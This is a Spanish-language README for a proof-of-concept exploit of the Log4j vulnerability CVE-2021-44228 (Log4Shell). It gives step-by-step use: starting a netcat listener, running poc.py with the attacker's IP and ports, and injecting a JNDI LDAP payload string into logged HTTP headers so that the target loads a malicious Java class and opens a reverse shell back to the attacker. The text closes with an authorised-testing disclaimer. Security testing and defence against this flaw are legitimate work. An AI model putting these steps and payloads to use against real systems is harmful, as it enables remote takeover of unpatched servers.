
Una prueba de concepto para la vulnerabilidad CVE-2021-44228.
Exploit de prueba de concepto para la vulnerabilidad de Log4j (CVE-2021-44228), también conocida como Log4Shell. Esta herramienta genera una clase Java maliciosa, inicia un servidor de referencia LDAP y sirve el payload a través de HTTP, permitiendo a un atacante remoto ejecutar comandos arbitrarios en un objetivo vulnerable.
poc.py:
jdk1.8.0_20/ – una copia de Oracle JDK 1.8.0_20 (contiene bin/javac y bin/java). Si falta, el script intentará usar los comandos javac y del sistema.javatarget/marshalsec-0.0.3-SNAPSHOT-all.jar – el archivo JAR de marshalsec utilizado para iniciar el servidor LDAP.jdk1.8.0_20 y el JAR de marshalsec como se describe arriba.pip install -r requirements.txt
Ejecuta el script con Python:
python3 poc.py [OPCIONES]
| Argumento | Tipo | Por defecto | Descripción |
|---|---|---|---|
--userip | string | IPv4 autodetectada | Dirección IP a la que se enlazarán y anunciarán los servidores LDAP y HTTP. Debe ser accesible desde la máquina objetivo. |
--webport | integer | 8000 | Puerto para el servidor HTTP que sirve el Exploit.class compilado. |
--lport | integer | 9001 | Puerto donde tu listener de netcat espera la reverse shell. El payload se conectará de vuelta a userip:lport. |
Inicia un listener de netcat en tu máquina atacante (reemplaza 9001 por el puerto que elijas):
nc -lvnp 9001
Ejecuta el exploit:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
Si omites --userip, el script utilizará automáticamente la dirección IPv4 principal de tu máquina.
El script mostrará una cadena de payload para inyectar en el objetivo vulnerable, por ejemplo:
${jndi:ldap://192.168.1.10:1389/a}
Inyecta esta cadena en cualquier campo de entrada o cabecera HTTP que sea registrada por una instancia vulnerable de Log4j (p. ej., User-Agent, X-Forwarded-For, etc.). El objetivo se conectará al servidor LDAP, obtendrá la clase maliciosa del servidor HTTP y ejecutará la reverse shell.
Deberías ver aparecer una conexión de shell en tu listener de netcat.
Exploit.java con código que abre una reverse shell hacia userip:lport.javac del sistema).webport para alojar el Exploit.class compilado./bin/sh y está diseñado para sistemas objetivo tipo Unix. Para objetivos Windows, necesitarías modificar el comando dentro de Exploit.java.webport y lport), y de que el objetivo pueda alcanzar tu máquina.El script elimina automáticamente Exploit.java y Exploit.class al salir (ya sea normalmente o tras un KeyboardInterrupt). Si necesitas conservar los archivos para depuración, comenta el bloque finally en poc.py.
Esta herramienta está destinada únicamente a fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado de este exploit contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal. Los autores no son responsables de ningún uso indebido o daño causado por este software.